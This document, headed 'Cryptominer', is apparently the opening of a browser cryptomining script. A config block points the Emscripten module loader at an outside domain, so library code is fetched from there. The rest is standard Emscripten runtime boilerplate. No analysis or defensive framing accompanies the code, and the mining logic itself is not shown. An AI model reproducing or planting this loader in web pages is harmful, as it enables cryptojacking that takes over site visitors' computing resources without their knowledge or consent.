Cryptominer

self.CH = self.CH || {};
self.CH.CONFIG = {
    LIB_URL: "https://api.aalbbh84.info/lib/"
};
var Module = {
    locateFile: (function(path) {
        return CH.CONFIG.LIB_URL + path
    }
    )
};
var Module;
if (!Module)
    Module = (typeof Module !== "undefined" ? Module : null) || {};
var moduleOverrides = {};
for (var key in Module) {
    if (Module.hasOwnProperty(key)) {
        moduleOverrides[key] = Module[key]
    }
}
var ENVIRONMENT_IS_WEB = false;
var ENVIRONMENT_IS_WORKER = false;
var ENVIRONMENT_IS_NODE = false;
var ENVIRONMENT_IS_SHELL = false;
if (Module["ENVIRONMENT"]) {
    if (Module["ENVIRONMENT"] === "WEB") {
        ENVIRONMENT_IS_WEB = true
    } else if (Module["ENVIRONMENT"] === "WORKER") {
        ENVIRONMENT_IS_WORKER = true
    } else if (Module["ENVIRONMENT"] === "NODE") {
        ENVIRONMENT_IS_NODE = true
    } else if (Module["ENVIRONMENT"] === "SHELL") {
        ENVIRONMENT_IS_SHELL = true
    } else {
        throw new Error("The provided Module['ENVIRONMENT'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.")
    }
} else {
    ENVIRONMENT_IS_WEB = typeof window === "object";
    ENVIRONMENT_IS_WORKER = typeof importScripts === "function";
    ENVIRONMENT_IS_NODE = typeof process === "object" && typeof require === "function" && !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_WORKER;
    ENVIRONMENT_IS_SHELL = !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_NODE && !ENVIRONMENT_IS_WORKER
}
if (ENVIRONMENT_IS_NODE) {
    if (!Module["print"])
        Module["print"] = console.log;
    if (!Module["printErr"])
        Module["printErr"] = console.warn;
    var nodeFS;
    var nodePath;
    Module["read"] = function shell_read(filename, binary) {
        if (!nodeFS)
            nodeFS = require("fs");
        if (!nodePath)
            nodePath = require("path");
        filename = nodePath["normalize"](filename);
        var ret = nodeFS["readFileSync"](filename);
        return binary ? ret : ret.toString()
    }
    ;
    Module["readBinary"] = function readBinary(filename) {
        var ret = Module["read"](filename, true);
        if (!ret.buffer) {
            ret = new Uint8Array(ret)
        }
        assert(ret.buffer);
        return ret
    }
    ;
    Module["load"] = function load(f) {
        globalEval(read(f))
    }
    ;
    if (!Module["thisProgram"]) {
        if (process["argv"].length > 1) {
            Module["thisProgram"] = process["argv"][1].replace(/\\/g, "/")
        } else {
            Module["thisProgram"] = "unknown-program"
        }
    }
    Module["arguments"] = process["argv"].slice(2);
    if (typeof module !== "undefined") {
        module["exports"] = Module
    }
    process["on"]("uncaughtException", (function(ex) {
        if (!(ex instanceof ExitStatus)) {
            throw ex
        }
    }
    ));
    Module["inspect"] = (function() {
        return "[Emscripten Module object]"
    }
    )
} else if (ENVIRONMENT_IS_SHELL) {
    if (!Module["print"])
        Module["print"] = print;
    if (typeof printErr != "undefined")
        Module["printErr"] = printErr;
    if (typeof read != "undefined") {
        Module["read"] = read
    } else {
        Module["read"] = function shell_read() {
            throw "no read() available"
        }
    }
    Module["readBinary"] = function readBinary(f) {
        if (typeof readbuffer === "function") {
            return new Uint8Array(readbuffer(f))
        }
        var data = read(f, "binary");
        assert(typeof data === "object");
        return data
    }
    ;
    if (typeof scriptArgs != "undefined") {
        Module["arguments"] = scriptArgs
    } else if (typeof arguments != "undefined") {
        Module["arguments"] = arguments
    }
    if (typeof quit === "function") {
        Module["quit"] = (function(status, toThrow) {
            quit(status)
        }
        )
    }
} else if (ENVIRONMENT_IS_WEB || ENVIRONMENT_IS_WORKER) {
    Module["read"] = function shell_read(url) {
        var xhr = new XMLHttpRequest;
        xhr.open("GET", url, false);
        xhr.send(null);
        return xhr.responseText
    }
    ;
    if (ENVIRONMENT_IS_WORKER) {
        Module["readBinary"] = function readBinary(url) {
            var xhr = new XMLHttpRequest;
            xhr.open("GET", url, false);
            xhr.responseType = "arraybuffer";
            xhr.send(null);
            return new Uint8Array(xhr.response)
        }
    }
    Module["readAsync"] = function readAsync(url, onload, onerror) {
        var xhr = new XMLHttpRequest;
        xhr.open("GET", url, true);
        xhr.responseType = "arraybuffer";
        xhr.onload = function xhr_onload() {
            if (xhr.status == 200 || xhr.status == 0 && xhr.response) {
                onload(xhr.response)
            } else {
                onerror()
            }
        }
        ;
        xhr.onerror = onerror;
        xhr.send(null)
    }
    ;
    if (typeof arguments != "undefined") {
        Module["arguments"] = arguments
    }
    if (typeof console !== "undefined") {
        if (!Module["print"])
            Module["print"] = function shell_print(x) {
                console.log(x)
            }
            ;
        if (!Module["printErr"])
            Module["printErr"] = function shell_printErr(x) {
                console.warn(x)
            }
    } else {
        var TRY_USE_DUMP = false;
        if (!Module["print"])
            Module["print"] = TRY_USE_DUMP && typeof dump !== "undefined" ? (function(x) {
                dump(x)
            }
            ) : (function(x) {}
            )
    }
    if (ENVIRONMENT_IS_WORKER) {
        Module["load"] = importScripts
    }
    if (typeof Module["setWindowTitle"] === "undefined") {
        Module["setWindowTitle"] = (function(title) {
            document.title = title
        }
        )
    }
} else {
    throw "Unknown runtime environment. Where are we?"
}
function globalEval(x) {
    eval.call(null, x)
}
if (!Module["load"] && Module["read"]) {
    Module["load"] = function load(f) {
        globalEval(Module["read"](f))
    }
}
if (!Module["print"]) {
    Module["print"] = (function() {}
    )
}
if (!Module["printErr"]) {
    Module["printErr"] = Module["print"]
}
if (!Module["arguments"]) {
    Module["arguments"] = []
}
if (!Module["thisProgram"]) {
    Module["thisProgram"] = "./this.program"
}
if (!Module["quit"]) {
    Module["quit"] = (function(status, toThrow) {
        throw toThrow
    }
    )
}
Module.print = Module["print"];
Module.printErr = Module["printErr"];
Module["preRun"] = [];
Module["postRun"] = [];
for (var key in moduleOverrides) {
    if (moduleOverrides.hasOwnProperty(key)) {
        Module[key] = moduleOverrides[key]
    }
}
moduleOverrides = undefined;
var Runtime = {
    setTempRet0: (function(value) {
        tempRet0 = value;
        return value
    }
    ),
    getTempRet0: (function() {
        return tempRet0
    }
    ),
    stackSave: (function() {
        return STACKTOP
    }
    ),
    stackRestore: (function(stackTop) {
        STACKTOP = stackTop
    }
    ),
    getNativeTypeSize: (function(type) {
        switch (type) {
        case "i1":
        case "i8":
            return 1;
        case "i16":
            return 2;
        case "i32":
            return 4;
        case "i64":
            return 8;
        case "float":
            return 4;
        case "double":
            return 8;
        default:
            {
                if (type[type.length - 1] === "*") {
                    return Runtime.QUANTUM_SIZE
                } else if (type[0] === "i") {
                    var bits = parseInt(type.substr(1));
                    assert(bits % 8 === 0);
                    return bits / 8
                } else {
                    return 0
                }
            }
        }
    }
    ),
    getNativeFieldSize: (function(type) {
        return Math.max(Runtime.getNativeTypeSize(type), Runtime.QUANTUM_SIZE)
    }
    ),
    STACK_ALIGN: 16,
    prepVararg: (function(ptr, type) {
        if (type === "double" || type === "i64") {
            if (ptr & 7) {
                assert((ptr & 7) === 4);
                ptr += 4
            }
        } else {
            assert((ptr & 3) === 0)
        }
        return ptr
    }
    ),
    getAlignSize: (function(type, size, vararg) {
        if (!vararg && (type == "i64" || type == "double"))
            return 8;
        if (!type)
            return Math.min(size, 8);
        return Math.min(size || (type ? Runtime.getNativeFieldSize(type) : 0), Runtime.QUANTUM_SIZE)
    }
    ),
    dynCall: (function(sig, ptr, args) {
        if (args && args.length) {
            return Module["dynCall_" + sig].apply(null, [ptr].concat(args))
        } else {
            return Module["dynCall_" + sig].call(null, ptr)
        }
    }
    ),
    functionPointers: [],
    addFunction: (function(func) {
        for (var i = 0; i < Runtime.functionPointers.length; i++) {
            if (!Runtime.functionPointers[i]) {
                Runtime.functionPointers[i] = func;
                return 2 * (1 + i)
            }
        }
        throw "Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS."
    }
    ),
    removeFunction: (function(index) {
        Runtime.functionPointers[(index - 2) / 2] = null
    }
    ),
    warnOnce: (function(text) {
        if (!Runtime.warnOnce.shown)
            Runtime.warnOnce.shown = {};
        if (!Runtime.warnOnce.shown[text]) {
            Runtime.warnOnce.shown[text] = 1;
            Module.printErr(text)
        }
    }
    ),
    funcWrappers: {},
    getFuncWrapper: (function(func, sig) {
        assert(sig);
        if (!Runtime.funcWrappers[sig]) {
            Runtime.funcWrappers[sig] = {}
        }
        var sigCache = Runtime.funcWrappers[sig];
        if (!sigCache[func]) {
            if (sig.length === 1) {
                sigCache[func] = function dynCall_wrapper() {
                    return Runtime.dynCall(sig, func)
                }
            } else if (sig.length === 2) {
                sigCache[func] = function dynCall_wrapper(arg) {
                    return Runtime.dynCall(sig, func, [arg])
                }
            } else {
                sigCache[func] = function dynCall_wrapper() {
                    return Runtime.dynCall(sig, func, Array.prototype.slice.call(arguments))
                }
            }
        }
        return sigCache[func]
    }
    ),
    getCompilerSetting: (function(name) {
        throw "You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work"
    }
    ),
    stackAlloc: (function(size) {
        var ret = STACKTOP;
        STACKTOP = STACKTOP + size | 0;
        STACKTOP = STACKTOP + 15 & -16;
        return ret
    }
    ),
    staticAlloc: (function(size) {
        var ret = STATICTOP;
        STATICTOP = STATICTOP + size | 0;
        STATICTOP = STATICTOP + 15 & -16;
        return ret
    }
    ),
    dynamicAlloc: (function(size) {
        var ret = HEAP32[DYNAMICTOP_PTR >> 2];
        var end = (ret + size + 15 | 0) & -16;
        HEAP32[DYNAMICTOP_PTR >> 2] = end;
        if (end >= TOTAL_MEMORY) {
            var success = enlargeMemory();
            if (!success) {
                HEAP32[DYNAMICTOP_PTR >> 2] = ret;
                return 0
            }
        }
        return ret
    }
    ),
    alignMemory: (function(size, quantum) {
        var ret = size = Math.ceil(size / (quantum ? quantum : 16)) * (quantum ? quantum : 16);
        return ret
    }
    ),
    makeBigInt: (function(low, high, unsigned) {
        var ret = unsigned ? +(low >>> 0) + +(high >>> 0) * 4294967296 : +(low >>> 0) + +(high | 0) * 4294967296;
        return ret
    }
    ),
    GLOBAL_BASE: 1024,
    QUANTUM_SIZE: 4,
    __dummy__: 0
};
Module["Runtime"] = Runtime;
var ABORT = 0;
var EXITSTATUS = 0;
function assert(condition, text) {
    if (!condition) {
        abort("Assertion failed: " + text)
    }
}
function getCFunc(ident) {
    var func = Module["_" + ident];
    if (!func) {
        try {
            func = eval("_" + ident)
        } catch (e) {}
    }
    assert(func, "Cannot call unknown function " + ident + " (perhaps LLVM optimizations or closure removed it?)");
    return func
}
var cwrap, ccall;
((function() {
    var JSfuncs = {
        "stackSave": (function() {
            Runtime.stackSave()
        }
        ),
        "stackRestore": (function() {
            Runtime.stackRestore()
        }
        ),
        "arrayToC": (function(arr) {
            var ret = Runtime.stackAlloc(arr.length);
            writeArrayToMemory(arr, ret);
            return ret
        }
        ),
        "stringToC": (function(str) {
            var ret = 0;
            if (str !== null && str !== undefined && str !== 0) {
                var len = (str.length << 2) + 1;
                ret = Runtime.stackAlloc(len);
                stringToUTF8(str, ret, len)
            }
            return ret
        }
        )
    };
    var toC = {
        "string": JSfuncs["stringToC"],
        "array": JSfuncs["arrayToC"]
    };
    ccall = function ccallFunc(ident, returnType, argTypes, args, opts) {
        var func = getCFunc(ident);
        var cArgs = [];
        var stack = 0;
        if (args) {
            for (var i = 0; i < args.length; i++) {
                var converter = toC[argTypes[i]];
                if (converter) {
                    if (stack === 0)
                        stack = Runtime.stackSave();
                    cArgs[i] = converter(args[i])
                } else {
                    cArgs[i] = args[i]
                }
            }
        }
        var ret = func.apply(null, cArgs);
        if (returnType === "string")
            ret = Pointer_stringify(ret);
        if (stack !== 0) {
            if (opts && opts.async) {
                EmterpreterAsync.asyncFinalizers.push((function() {
                    Runtime.stackRestore(stack)
                }
                ));
                return
            }
            Runtime.stackRestore(stack)
        }
        return ret
    }
    ;
    var sourceRegex = /^function\s*[a-zA-Z$_0-9]*\s*\(([^)]*)\)\s*{\s*([^*]*?)[\s;]*(?:return\s*(.*?)[;\s]*)?}$/;
    function parseJSFunc(jsfunc) {
        var parsed = jsfunc.toString().match(sourceRegex).slice(1);
        return {
            arguments: parsed[0],
            body: parsed[1],
            returnValue: parsed[2]
        }
    }
    var JSsource = null;
    function ensureJSsource() {
        if (!JSsource) {
            JSsource = {};
            for (var fun in JSfuncs) {
                if (JSfuncs.hasOwnProperty(fun)) {
                    JSsource[fun] = parseJSFunc(JSfuncs[fun])
                }
            }
        }
    }
    cwrap = function cwrap(ident, returnType, argTypes) {
        argTypes = argTypes || [];
        var cfunc = getCFunc(ident);
        var numericArgs = argTypes.every((function(type) {
            return type === "number"
        }
        ));
        var numericRet = returnType !== "string";
        if (numericRet && numericArgs) {
            return cfunc
        }
        var argNames = argTypes.map((function(x, i) {
            return "$" + i
        }
        ));
        var funcstr = "(function(" + argNames.join(",") + ") {";
        var nargs = argTypes.length;
        if (!numericArgs) {
            ensureJSsource();
            funcstr += "var stack = " + JSsource["stackSave"].body + ";";
            for (var i = 0; i < nargs; i++) {
                var arg = argNames[i]
                  , type = argTypes[i];
                if (type === "number")
                    continue;
                var convertCode = JSsource[type + "ToC"];
                funcstr += "var " + convertCode.arguments + " = " + arg + ";";
                funcstr += convertCode.body + ";";
                funcstr += arg + "=(" + convertCode.returnValue + ");"
            }
        }
        var cfuncname = parseJSFunc((function() {
            return cfunc
        }
        )).returnValue;
        funcstr += "var ret = " + cfuncname + "(" + argNames.join(",") + ");";
        if (!numericRet) {
            var strgfy = parseJSFunc((function() {
                return Pointer_stringify
            }
            )).returnValue;
            funcstr += "ret = " + strgfy + "(ret);"
        }
        if (!numericArgs) {
            ensureJSsource();
            funcstr += JSsource["stackRestore"].body.replace("()", "(stack)") + ";"
        }
        funcstr += "return ret})";
        return eval(funcstr)
    }
}
))();
Module["ccall"] = ccall;
Module["cwrap"] = cwrap;
function setValue(ptr, value, type, noSafe) {
    type = type || "i8";
    if (type.charAt(type.length - 1) === "*")
        type = "i32";
    switch (type) {
    case "i1":
        HEAP8[ptr >> 0] = value;
        break;
    case "i8":
        HEAP8[ptr >> 0] = value;
        break;
    case "i16":
        HEAP16[ptr >> 1] = value;
        break;
    case "i32":
        HEAP32[ptr >> 2] = value;
        break;
    case "i64":
        tempI64 = [value >>> 0, (tempDouble = value,
        +Math_abs(tempDouble) >= 1 ? tempDouble > 0 ? (Math_min(+Math_floor(tempDouble / 4294967296), 4294967295) | 0) >>> 0 : ~~+Math_ceil((tempDouble - +(~~tempDouble >>> 0)) / 4294967296) >>> 0 : 0)],
        HEAP32[ptr >> 2] = tempI64[0],
        HEAP32[ptr + 4 >> 2] = tempI64[1];
        break;
    case "float":
        HEAPF32[ptr >> 2] = value;
        break;
    case "double":
        HEAPF64[ptr >> 3] = value;
        break;
    default:
        abort("invalid type for setValue: " + type)
    }
}
Module["setValue"] = setValue;
function getValue(ptr, type, noSafe) {
    type = type || "i8";
    if (type.charAt(type.length - 1) === "*")
        type = "i32";
    switch (type) {
    case "i1":
        return HEAP8[ptr >> 0];
    case "i8":
        return HEAP8[ptr >> 0];
    case "i16":
        return HEAP16[ptr >> 1];
    case "i32":
        return HEAP32[ptr >> 2];
    case "i64":
        return HEAP32[ptr >> 2];
    case "float":
        return HEAPF32[ptr >> 2];
    case "double":
        return HEAPF64[ptr >> 3];
    default:
        abort("invalid type for setValue: " + type)
    }
    return null
}
Module["getValue"] = getValue;
var ALLOC_NORMAL = 0;
var ALLOC_STACK = 1;
var ALLOC_STATIC = 2;
var ALLOC_DYNAMIC = 3;
var ALLOC_NONE = 4;
Module["ALLOC_NORMAL"] = ALLOC_NORMAL;
Module["ALLOC_STACK"] = ALLOC_STACK;
Module["ALLOC_STATIC"] = ALLOC_STATIC;
Module["ALLOC_DYNAMIC"] = ALLOC_DYNAMIC;
Module["ALLOC_NONE"] = ALLOC_NONE;
function allocate(slab, types, allocator, ptr) {
    var zeroinit, size;
    if (typeof slab === "number") {
        zeroinit = true;
        size = slab
    } else {
        zeroinit = false;
        size = slab.length
    }
    var singleType = typeof types === "string" ? types : null;
    var ret;
    if (allocator == ALLOC_NONE) {
        ret = ptr
    } else {
        ret = [typeof _malloc === "function" ? _malloc : Runtime.staticAlloc, Runtime.stackAlloc, Runtime.staticAlloc, Runtime.dynamicAlloc][allocator === undefined ? ALLOC_STATIC : allocator](Math.max(size, singleType ? 1 : types.length))
    }
    if (zeroinit) {
        var ptr = ret, stop;
        assert((ret & 3) == 0);
        stop = ret + (size & ~3);
        for (; ptr < stop; ptr += 4) {
            HEAP32[ptr >> 2] = 0
        }
        stop = ret + size;
        while (ptr < stop) {
            HEAP8[ptr++ >> 0] = 0
        }
        return ret
    }
    if (singleType === "i8") {
        if (slab.subarray || slab.slice) {
            HEAPU8.set(slab, ret)
        } else {
            HEAPU8.set(new Uint8Array(slab), ret)
        }
        return ret
    }
    var i = 0, type, typeSize, previousType;
    while (i < size) {
        var curr = slab[i];
        if (typeof curr === "function") {
            curr = Runtime.getFunctionIndex(curr)
        }
        type = singleType || types[i];
        if (type === 0) {
            i++;
            continue
        }
        if (type == "i64")
            type = "i32";
        setValue(ret + i, curr, type);
        if (previousType !== type) {
            typeSize = Runtime.getNativeTypeSize(type);
            previousType = type
        }
        i += typeSize
    }
    return ret
}
Module["allocate"] = allocate;
function getMemory(size) {
    if (!staticSealed)
        return Runtime.staticAlloc(size);
    if (!runtimeInitialized)
        return Runtime.dynamicAlloc(size);
    return _malloc(size)
}
Module["getMemory"] = getMemory;
function Pointer_stringify(ptr, length) {
    if (length === 0 || !ptr)
        return "";
    var hasUtf = 0;
    var t;
    var i = 0;
    while (1) {
        t = HEAPU8[ptr + i >> 0];
        hasUtf |= t;
        if (t == 0 && !length)
            break;
        i++;
        if (length && i == length)
            break
    }
    if (!length)
        length = i;
    var ret = "";
    if (hasUtf < 128) {
        var MAX_CHUNK = 1024;
        var curr;
        while (length > 0) {
            curr = String.fromCharCode.apply(String, HEAPU8.subarray(ptr, ptr + Math.min(length, MAX_CHUNK)));
            ret = ret ? ret + curr : curr;
            ptr += MAX_CHUNK;
            length -= MAX_CHUNK
        }
        return ret
    }
    return Module["UTF8ToString"](ptr)
}
Module["Pointer_stringify"] = Pointer_stringify;
function AsciiToString(ptr) {
    var str = "";
    while (1) {
        var ch = HEAP8[ptr++ >> 0];
        if (!ch)
            return str;
        str += String.fromCharCode(ch)
    }
}
Module["AsciiToString"] = AsciiToString;
function stringToAscii(str, outPtr) {
    return writeAsciiToMemory(str, outPtr, false)
}
Module["stringToAscii"] = stringToAscii;
var UTF8Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf8") : undefined;
function UTF8ArrayToString(u8Array, idx) {
    var endPtr = idx;
    while (u8Array[endPtr])
        ++endPtr;
    if (endPtr - idx > 16 && u8Array.subarray && UTF8Decoder) {
        return UTF8Decoder.decode(u8Array.subarray(idx, endPtr))
    } else {
        var u0, u1, u2, u3, u4, u5;
        var str = "";
        while (1) {
            u0 = u8Array[idx++];
            if (!u0)
                return str;
            if (!(u0 & 128)) {
                str += String.fromCharCode(u0);
                continue
            }
            u1 = u8Array[idx++] & 63;
            if ((u0 & 224) == 192) {
                str += String.fromCharCode((u0 & 31) << 6 | u1);
                continue
            }
            u2 = u8Array[idx++] & 63;
            if ((u0 & 240) == 224) {
                u0 = (u0 & 15) << 12 | u1 << 6 | u2
            } else {
                u3 = u8Array[idx++] & 63;
                if ((u0 & 248) == 240) {
                    u0 = (u0 & 7) << 18 | u1 << 12 | u2 << 6 | u3
                } else {
                    u4 = u8Array[idx++] & 63;
                    if ((u0 & 252) == 248) {
                        u0 = (u0 & 3) << 24 | u1 << 18 | u2 << 12 | u3 << 6 | u4
                    } else {
                        u5 = u8Array[idx++] & 63;
                        u0 = (u0 & 1) << 30 | u1 << 24 | u2 << 18 | u3 << 12 | u4 << 6 | u5
                    }
                }
            }
            if (u0 < 65536) {
                str += String.fromCharCode(u0)
            } else {
                var ch = u0 - 65536;
                str += String.fromCharCode(55296 | ch >> 10, 56320 | ch & 1023)
            }
        }
    }
}
Module["UTF8ArrayToString"] = UTF8ArrayToString;
function UTF8ToString(ptr) {
    return UTF8ArrayToString(HEAPU8, ptr)
}
Module["UTF8ToString"] = UTF8ToString;
function stringToUTF8Array(str, outU8Array, outIdx, maxBytesToWrite) {
    if (!(maxBytesToWrite > 0))
        return 0;
    var startIdx = outIdx;
    var endIdx = outIdx + maxBytesToWrite - 1;
    for (var i = 0; i < str.length; ++i) {
        var u = str.charCodeAt(i);
        if (u >= 55296 && u <= 57343)
            u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023;
        if (u <= 127) {
            if (outIdx >= endIdx)
                break;
            outU8Array[outIdx++] = u
        } else if (u <= 2047) {
            if (outIdx + 1 >= endIdx)
                break;
            outU8Array[outIdx++] = 192 | u >> 6;
            outU8Array[outIdx++] = 128 | u & 63
        } else if (u <= 65535) {
            if (outIdx + 2 >= endIdx)
                break;
            outU8Array[outIdx++] = 224 | u >> 12;
            outU8Array[outIdx++] = 128 | u >> 6 & 63;
            outU8Array[outIdx++] = 128 | u & 63
        } else if (u <= 2097151) {
            if (outIdx + 3 >= endIdx)
                break;
            outU8Array[outIdx++] = 240 | u >> 18;
            outU8Array[outIdx++] = 128 | u >> 12 & 63;
            outU8Array[outIdx++] = 128 | u >> 6 & 63;
            outU8Array[outIdx++] = 128 | u & 63
        } else if (u <= 67108863) {
            if (outIdx + 4 >= endIdx)
                break;
            outU8Array[outIdx++] = 248 | u >> 24;
            outU8Array[outIdx++] = 128 | u >> 18 & 63;
            outU8Array[outIdx++] = 128 | u >> 12 & 63;
            outU8Array[outIdx++] = 128 | u >> 6 & 63;
            outU8Array[outIdx++] = 128 | u & 63
        } else {
            if (outIdx + 5 >= endIdx)
                break;
            outU8Array[outIdx++] = 252 | u >> 30;
            outU8Array[outIdx++] = 128 | u >> 24 & 63;
            outU8Array[outIdx++] = 128 | u >> 18 & 63;
            outU8Array[outIdx++] = 128 | u >> 12 & 63;
            outU8Array[outIdx++] = 128 | u >> 6 & 63;
            outU8Array[outIdx++] = 128 | u & 63
        }
    }
    outU8Array[outIdx] = 0;
    return outIdx - startIdx
}
Module["stringToUTF8Array"] = stringToUTF8Array;
function stringToUTF8(str, outPtr, maxBytesToWrite) {
    return stringToUTF8Array(str, HEAPU8, outPtr, maxBytesToWrite)
}
Module["stringToUTF8"] = stringToUTF8;
function lengthBytesUTF8(str) {
    var len = 0;
    for (var i = 0; i < str.length; ++i) {
        var u = str.charCodeAt(i);
        if (u >= 55296 && u <= 57343)
            u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023;
        if (u <= 127) {
            ++len
        } else if (u <= 2047) {
            len += 2
        } else if (u <= 65535) {
            len += 3
        } else if (u <= 2097151) {
            len += 4
        } else if (u <= 67108863) {
            len += 5
        } else {
            len += 6
        }
    }
    return len
}
Module["lengthBytesUTF8"] = lengthBytesUTF8;
var UTF16Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf-16le") : undefined;
function demangle(func) {
    var __cxa_demangle_func = Module["___cxa_demangle"] || Module["__cxa_demangle"];
    if (__cxa_demangle_func) {
        try {
            var s = func.substr(1);
            var len = lengthBytesUTF8(s) + 1;
            var buf = _malloc(len);
            stringToUTF8(s, buf, len);
            var status = _malloc(4);
            var ret = __cxa_demangle_func(buf, 0, 0, status);
            if (getValue(status, "i32") === 0 && ret) {
                return Pointer_stringify(ret)
            }
        } catch (e) {} finally {
            if (buf)
                _free(buf);
            if (status)
                _free(status);
            if (ret)
                _free(ret)
        }
        return func
    }
    Runtime.warnOnce("warning: build with -s DEMANGLE_SUPPORT=1 to link in libcxxabi demangling");
    return func
}
function demangleAll(text) {
    var regex = /__Z[\w\d_]+/g;
    return text.replace(regex, (function(x) {
        var y = demangle(x);
        return x === y ? x : x + " [" + y + "]"
    }
    ))
}
function jsStackTrace() {
    var err = new Error;
    if (!err.stack) {
        try {
            throw new Error(0)
        } catch (e) {
            err = e
        }
        if (!err.stack) {
            return "(no stack trace available)"
        }
    }
    return err.stack.toString()
}
function stackTrace() {
    var js = jsStackTrace();
    if (Module["extraStackTrace"])
        js += "\n" + Module["extraStackTrace"]();
    return demangleAll(js)
}
Module["stackTrace"] = stackTrace;
var WASM_PAGE_SIZE = 65536;
var ASMJS_PAGE_SIZE = 16777216;
function alignUp(x, multiple) {
    if (x % multiple > 0) {
        x += multiple - x % multiple
    }
    return x
}
var HEAP, buffer, HEAP8, HEAPU8, HEAP16, HEAPU16, HEAP32, HEAPU32, HEAPF32, HEAPF64;
function updateGlobalBuffer(buf) {
    Module["buffer"] = buffer = buf
}
function updateGlobalBufferViews() {
    Module["HEAP8"] = HEAP8 = new Int8Array(buffer);
    Module["HEAP16"] = HEAP16 = new Int16Array(buffer);
    Module["HEAP32"] = HEAP32 = new Int32Array(buffer);
    Module["HEAPU8"] = HEAPU8 = new Uint8Array(buffer);
    Module["HEAPU16"] = HEAPU16 = new Uint16Array(buffer);
    Module["HEAPU32"] = HEAPU32 = new Uint32Array(buffer);
    Module["HEAPF32"] = HEAPF32 = new Float32Array(buffer);
    Module["HEAPF64"] = HEAPF64 = new Float64Array(buffer)
}
var STATIC_BASE, STATICTOP, staticSealed;
var STACK_BASE, STACKTOP, STACK_MAX;
var DYNAMIC_BASE, DYNAMICTOP_PTR;
STATIC_BASE = STATICTOP = STACK_BASE = STACKTOP = STACK_MAX = DYNAMIC_BASE = DYNAMICTOP_PTR = 0;
staticSealed = false;
function abortOnCannotGrowMemory() {
    abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value " + TOTAL_MEMORY + ", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")
}
function enlargeMemory() {
    abortOnCannotGrowMemory()
}
var TOTAL_STACK = Module["TOTAL_STACK"] || 5242880;
var TOTAL_MEMORY = Module["TOTAL_MEMORY"] || 16777216;
if (TOTAL_MEMORY < TOTAL_STACK)
    Module.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was " + TOTAL_MEMORY + "! (TOTAL_STACK=" + TOTAL_STACK + ")");
if (Module["buffer"]) {
    buffer = Module["buffer"]
} else {
    if (typeof WebAssembly === "object" && typeof WebAssembly.Memory === "function") {
        Module["wasmMemory"] = new WebAssembly.Memory({
            "initial": TOTAL_MEMORY / WASM_PAGE_SIZE,
            "maximum": TOTAL_MEMORY / WASM_PAGE_SIZE
        });
        buffer = Module["wasmMemory"].buffer
    } else {
        buffer = new ArrayBuffer(TOTAL_MEMORY)
    }
}
updateGlobalBufferViews();
function getTotalMemory() {
    return TOTAL_MEMORY
}
HEAP32[0] = 1668509029;
HEAP16[1] = 25459;
if (HEAPU8[2] !== 115 || HEAPU8[3] !== 99)
    throw "Runtime error: expected the system to be little-endian!";
Module["HEAP"] = HEAP;
Module["buffer"] = buffer;
Module["HEAP8"] = HEAP8;
Module["HEAP16"] = HEAP16;
Module["HEAP32"] = HEAP32;
Module["HEAPU8"] = HEAPU8;
Module["HEAPU16"] = HEAPU16;
Module["HEAPU32"] = HEAPU32;
Module["HEAPF32"] = HEAPF32;
Module["HEAPF64"] = HEAPF64;
function callRuntimeCallbacks(callbacks) {
    while (callbacks.length > 0) {
        var callback = callbacks.shift();
        if (typeof callback == "function") {
            callback();
            continue
        }
        var func = callback.func;
        if (typeof func === "number") {
            if (callback.arg === undefined) {
                Module["dynCall_v"](func)
            } else {
                Module["dynCall_vi"](func, callback.arg)
            }
        } else {
            func(callback.arg === undefined ? null : callback.arg)
        }
    }
}
var __ATPRERUN__ = [];
var __ATINIT__ = [];
var __ATMAIN__ = [];
var __ATEXIT__ = [];
var __ATPOSTRUN__ = [];
var runtimeInitialized = false;
var runtimeExited = false;
function preRun() {
    if (Module["preRun"]) {
        if (typeof Module["preRun"] == "function")
            Module["preRun"] = [Module["preRun"]];
        while (Module["preRun"].length) {
            addOnPreRun(Module["preRun"].shift())
        }
    }
    callRuntimeCallbacks(__ATPRERUN__)
}
function ensureInitRuntime() {
    if (runtimeInitialized)
        return;
    runtimeInitialized = true;
    callRuntimeCallbacks(__ATINIT__)
}
function preMain() {
    callRuntimeCallbacks(__ATMAIN__)
}
function exitRuntime() {
    callRuntimeCallbacks(__ATEXIT__);
    runtimeExited = true
}
function postRun() {
    if (Module["postRun"]) {
        if (typeof Module["postRun"] == "function")
            Module["postRun"] = [Module["postRun"]];
        while (Module["postRun"].length) {
            addOnPostRun(Module["postRun"].shift())
        }
    }
    callRuntimeCallbacks(__ATPOSTRUN__)
}
function addOnPreRun(cb) {
    __ATPRERUN__.unshift(cb)
}
Module["addOnPreRun"] = addOnPreRun;
function addOnInit(cb) {
    __ATINIT__.unshift(cb)
}
Module["addOnInit"] = addOnInit;
function addOnPreMain(cb) {
    __ATMAIN__.unshift(cb)
}
Module["addOnPreMain"] = addOnPreMain;
function addOnExit(cb) {
    __ATEXIT__.unshift(cb)
}
Module["addOnExit"] = addOnExit;
function addOnPostRun(cb) {
    __ATPOSTRUN__.unshift(cb)
}
Module["addOnPostRun"] = addOnPostRun;
function intArrayFromString(stringy, dontAddNull, length) {
    var len = length > 0 ? length : lengthBytesUTF8(stringy) + 1;
    var u8array = new Array(len);
    var numBytesWritten = stringToUTF8Array(stringy, u8array, 0, u8array.length);
    if (dontAddNull)
        u8array.length = numBytesWritten;
    return u8array
}
Module["intArrayFromString"] = intArrayFromString;
function intArrayToString(array) {
    var ret = [];
    for (var i = 0; i < array.length; i++) {
        var chr = array[i];
        if (chr > 255) {
            chr &= 255
        }
        ret.push(String.fromCharCode(chr))
    }
    return ret.join("")
}
Module["intArrayToString"] = intArrayToString;
